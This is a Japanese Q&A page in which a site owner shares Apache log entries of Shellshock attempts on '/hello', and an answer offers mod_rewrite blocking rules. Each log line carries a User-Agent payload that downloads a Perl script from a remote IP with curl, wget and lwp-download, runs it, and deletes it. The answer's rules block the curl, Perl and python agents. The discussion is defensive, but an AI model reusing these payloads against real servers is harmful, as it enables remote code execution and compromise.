web-dev-qa-db-ja.com

URLとして「hello」を使用したApache404エラー

404エラーが発生した場合、Webサーバーから電子メールが送信されます(リンクが見つからない場合に役立ちます)。 http://www.example.com/administratorなどの通常の404しかありませんでした。

しかし、最近、私はhttp://www.example.com/helloのリクエストを受け取り続けています。私は世界中からそれらを入手しているようです。

185.63.188.120 - - [21/Dec/2015:08:35:54 -0500] "GET /hello HTTP/1.0" 301 328 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/GNUFISH;curl -O http://188.138.41.134/GNUFISH;wget http://188.138.41.134/GNUFISH;Perl /tmp/GNUFISH*;Perl GNUFISH;rm -rf /tmp/GNUFISH*\""
185.63.188.120 - - [21/Dec/2015:08:35:55 -0500] "GET /hello HTTP/1.0" 404 1806 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/GNUFISH;curl -O http://188.138.41.134/GNUFISH;wget http://188.138.41.134/GNUFISH;Perl /tmp/GNUFISH*;Perl GNUFISH;rm -rf /tmp/GNUFISH*\""
185.63.188.120 - - [21/Dec/2015:16:17:11 -0500] "GET /hello HTTP/1.0" 301 328 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/GNUFISH;curl -O http://188.138.41.134/GNUFISH;wget http://188.138.41.134/GNUFISH;Perl /tmp/GNUFISH*;Perl GNUFISH;rm -rf /tmp/GNUFISH*\""
185.63.188.120 - - [21/Dec/2015:16:17:12 -0500] "GET /hello HTTP/1.0" 404 1806 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/GNUFISH;curl -O http://188.138.41.134/GNUFISH;wget http://188.138.41.134/GNUFISH;Perl /tmp/GNUFISH*;Perl GNUFISH;rm -rf /tmp/GNUFISH*\""
172.246.105.114 - - [22/Dec/2015:08:25:12 -0500] "GET /hello HTTP/1.0" 301 328 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/cax;curl -O http://188.138.41.134/cax;wget http://188.138.41.134/cax;Perl /tmp/cax*;Perl cax;rm -rf /tmp/cax*\""
172.246.105.114 - - [22/Dec/2015:08:25:13 -0500] "GET /hello HTTP/1.0" 404 1806 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/cax;curl -O http://188.138.41.134/cax;wget http://188.138.41.134/cax;Perl /tmp/cax*;Perl cax;rm -rf /tmp/cax*\""
80.248.216.11 - - [22/Dec/2015:16:33:41 -0500] "GET /hello HTTP/1.0" 301 328 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/BASHSALAM;wget http://188.138.41.134/BASHSALAM -O /tmp/BASHSALAM;wget http://188.138.41.134/BASHSALAM;Perl BASHSALAM;Perl BASHSALAM;rm -rf /tmp/BASHSALAM*\""
80.248.216.11 - - [22/Dec/2015:16:33:42 -0500] "GET /hello HTTP/1.0" 403 1809 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/BASHSALAM;wget http://188.138.41.134/BASHSALAM -O /tmp/BASHSALAM;wget http://188.138.41.134/BASHSALAM;Perl BASHSALAM;Perl BASHSALAM;rm -rf /tmp/BASHSALAM*\""
185.63.188.120 - - [22/Dec/2015:22:12:45 -0500] "GET /hello HTTP/1.0" 301 328 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/GNUFISH;curl -O http://188.138.41.134/GNUFISH;wget http://188.138.41.134/GNUFISH;Perl /tmp/GNUFISH*;Perl GNUFISH;rm -rf /tmp/GNUFISH*\""
185.63.188.120 - - [22/Dec/2015:22:12:46 -0500] "GET /hello HTTP/1.0" 404 1806 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/GNUFISH;curl -O http://188.138.41.134/GNUFISH;wget http://188.138.41.134/GNUFISH;Perl /tmp/GNUFISH*;Perl GNUFISH;rm -rf /tmp/GNUFISH*\""
185.63.188.120 - - [23/Dec/2015:16:56:56 -0500] "GET /hello HTTP/1.0" 301 328 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/iod.exe;curl -O http://188.138.41.134/iod.exe;wget http://188.138.41.134/iod.exe;Perl /tmp/iod.exe*;Perl iod.exe;rm -rf /tmp/iod.exe*\""
185.63.188.120 - - [23/Dec/2015:16:56:57 -0500] "GET /hello HTTP/1.0" 404 1806 "-" "() { :;}; /bin/bash -c \"cd /tmp;lwp-download -a http://188.138.41.134/iod.exe;curl -O http://188.138.41.134/iod.exe;wget http://188.138.41.134/iod.exe;Perl /tmp/iod.exe*;Perl iod.exe;rm -rf /tmp/iod.exe*\""

これは私のサーバーに対するShellshock攻撃の試みであることがわかりました(サーバーにパッチが適用されています)。

私の質問は次のとおりです。これらの種類の攻撃をどのようにブロックしますか? bashにパッチを適用する以外に、Webサーバーを強化するために他にすべきことはありますか?他の誰かがApacheログでこれらを見ていますか?

攻撃者の側で非常に卑劣だと思ったのは、URLに「hello」を使用すると、Googleが回答を得るのが非常に難しくなることです。あなたはたくさんの役に立たない結果を得るでしょう。

1
G Trawo

システムが最新の場合、心配する必要はありません。

カスタムルールを作成して、ほとんどのWebボット攻撃を防ぐことができます。たとえば、これは私のものです。

RewriteCond %{HTTP_USER_AGENT} ^-?$|curl|Perl|python [NC,OR]
RewriteCond %{REQUEST_METHOD} !^(GET|HEAD|POST)$ [OR]
RewriteCond %{REQUEST_URI} !^/ [OR]
RewriteCond %{HTTP_REFERER} "!^$|^http"
RewriteRule .* - [END,R=406]

ボットが違反をテストする前に、ほとんどの攻撃をブロックします。

  • 空のユーザーエージェントまたは疑わしいエージェントをブロックする
  • リクエストをGET HEADおよびPOSTに制限する
  • /で始まらないリクエストをブロックします(サーバーをプロキシとして使用しない場合、すべてのリクエストは/で始まる必要があります)
  • 無効なREFERERでリクエストをブロックする

私はコード406を使用していますが、他の任意のコードに変更できます。

エクスプロイトに関する詳細情報が必要な場合:

3
Froggiz